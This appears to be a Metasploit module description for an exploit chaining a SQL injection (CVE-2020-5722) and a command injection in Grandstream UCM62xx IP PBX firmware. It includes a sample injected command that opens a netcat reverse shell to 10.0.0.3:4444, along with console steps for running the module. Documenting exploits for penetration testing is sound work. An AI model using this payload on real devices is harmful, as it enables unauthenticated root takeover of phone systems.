Description
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root.
Exploitation happens in two stages:
1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
Module options
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/grandstream/ucm62xx_sendemail_rcemsf undefined(ucm62xx_sendemail_rce) > show actions ...actions...msf undefined(ucm62xx_sendemail_rce) > set ACTION < action-name >msf undefined(ucm62xx_sendemail_rce) > show options ...show and set options...msf undefined(ucm62xx_sendemail_rce) > runPrioritise with Active Threat Intelligence
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